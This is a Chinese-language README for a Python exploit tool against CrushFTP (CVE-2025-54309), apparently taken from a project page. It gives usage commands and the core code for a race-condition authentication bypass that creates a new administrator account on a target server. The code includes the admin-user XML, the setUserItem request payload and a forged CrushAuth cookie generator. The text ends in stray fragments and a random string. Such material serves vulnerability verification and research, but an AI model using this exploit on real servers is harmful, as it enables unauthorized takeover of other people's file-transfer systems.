CrushFTP 条件竞争认证绕过漏洞利用工具 (CVE-2025-54309)

0 阅读4分钟

CrushFTP CVE-2025-54309 条件竞争认证绕过利用工具

本项目是一个针对 CrushFTP 服务器认证绕过漏洞 (CVE-2025-54309) 的高效、可扩展的 Python 利用工具。基于公开的 WatchTowr 研究成果开发,该工具通过条件竞争(Race Condition)在目标服务器上创建新的管理员账户,帮助安全研究人员快速验证漏洞的存在。

功能特性

  • ⚡ 条件竞争利用:核心功能通过发送高并发请求触发漏洞,绕过认证机制。
  • 👤 自定义账户创建:允许用户在利用成功后指定新管理员账户的用户名和密码。
  • 📈 并发请求控制:支持设置发送的请求对数量(默认5000次),以适应不同的网络环境和目标服务器性能。
  • 📦 简洁的Payload设计:内置创建管理员用户所需的完整XML数据包,结构清晰。
  • 🔧 易于扩展:代码结构模块化,预留了 -P/--payload 参数,方便未来增加其他类型的Payload。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests

安装步骤

  1. 克隆或下载项目代码

    git clone https://github.com/your-repo/CVE-2025-54309-crushftp.git
    cd CVE-2025-54309-crushftp
    
  2. 安装依赖: 项目依赖 requests 库,可以使用 pip 进行安装:

    pip install requests
    

使用说明

基础使用示例

运行脚本需要指定目标 CrushFTP 服务器的 URL。

python crushedftp.py http://target.crushftp.com

该命令会使用默认的 username:password (默认为 meow:meow!) 和 5000 个请求对尝试利用漏洞。

高级选项

你可以通过命令行参数自定义利用过程:

python crushedftp.py -u admin -p P@ssw0rd -r 8000 http://target.crushftp.com
  • -u, --username:设置要创建的管理员用户名(例如 admin)。
  • -p, --password:设置要创建的管理员密码(例如 P@ssw0rd)。
  • -r, --requests:设置发送的请求对数量(例如 8000)。

典型使用场景

  1. 漏洞验证:对疑似存在漏洞的 CrushFTP 服务器进行验证。使用较低并发数(如1000)和随机账户名,观察是否成功创建用户。
  2. 渗透测试:在授权测试中,通过此工具获取服务器管理权限。可适当提高并发数(如5000-10000)以提高成功率。
  3. 安全研究:分析漏洞触发机制,调整 C2F_K_VALUETIMESTAMP_VALUE 等参数,研究Cookie生成逻辑。

API概览

脚本核心逻辑围绕几个主要函数展开:

  • create_user_xml(username, password):生成包含新用户信息的完整 XML 字符串。
  • create_user_payload(c2f_cookie, username, password):构建用于 setUserItem 命令的 POST 数据字典。
  • new_c2f_cookie():生成一个带有随机值的 CrushAuth Cookie。
  • 主函数 exploit(target, username, password, num_requests):执行条件竞争攻击,发送大量并发请求。

核心代码

1. 用户创建 XML 生成器

此函数构建了创建管理员账户所需的核心 XML 结构,包含用户名、密码、站点权限((CONNECT)(WEB_ADMIN))等关键属性。

def create_user_xml(username='', password='') -> str:
        # 生成当前时间戳字符串,用于日志记录
        current_time = time.strftime('%m/%d/%Y %I:%M:%S %p')
        # 返回格式化的用户XML,包含管理权限
        return  f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{current_time}</last_logins>
<password>{password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{username}</username>
</user>'''

2. 漏洞利用Payload构造

该函数将用户 XML 与必要的虚拟文件系统(VFS)和权限 XML 组合,形成最终发送给 /WebInterface/function/ 端点的完整数据包。c2f 参数取自 Cookie,用于绕过部分验证。

def create_user_payload(c2f_cookie='', username='', password='' ):
    # 生成用户数据的XML
    user_xml = create_user_xml(username, password)
    # 返回POST数据字典,包含所有必要字段
    return {
            "command": "setUserItem",
            "data_action": "new", 
            "serverGroup": "MainUsers",
            "username": username,
            "user": user_xml,
            "xmlItem": "user",
            "vfs_items": VFS_XML,        # 预定义的VFS XML
            "permissions": PERMISSIONS_XML, # 预定义的权限XML
            "c2f": c2f_cookie.split('=')[-1] # 提取Cookie值
        }

3. 随机Cookie生成

为了在条件竞争中产生大量有效的请求,工具会生成随机的 CrushAuth Cookie。Cookie 的结构模仿了 CrushFTP 的认证格式,包含时间戳和随机字符。

def new_c2f_cookie():
    # 生成C2F部分的随机字符串,长度由C2F_K_VALUE控制
    c2f = gen_random(C2F_K_VALUE)
    # 获取当前时间的毫秒级时间戳
    timestamp = int(time.time() * 1000)
    # 生成时间戳后缀部分的随机字符串
    suffix = gen_random(TIMESTAMP_VALUE)
    # 组装成完整的CrushAuth Cookie值
    # 格式: CrushAuth={timestamp}_{suffix}{c2f}
    return f"CrushAuth={timestamp}_{suffix}{c2f};cu"
```FINISHED
6HFtX5dABrKlqXeO5PUv/wh60lxkqLqgJWwiJJzRiDkG8rrTOoUE57jc/9Qgxvpk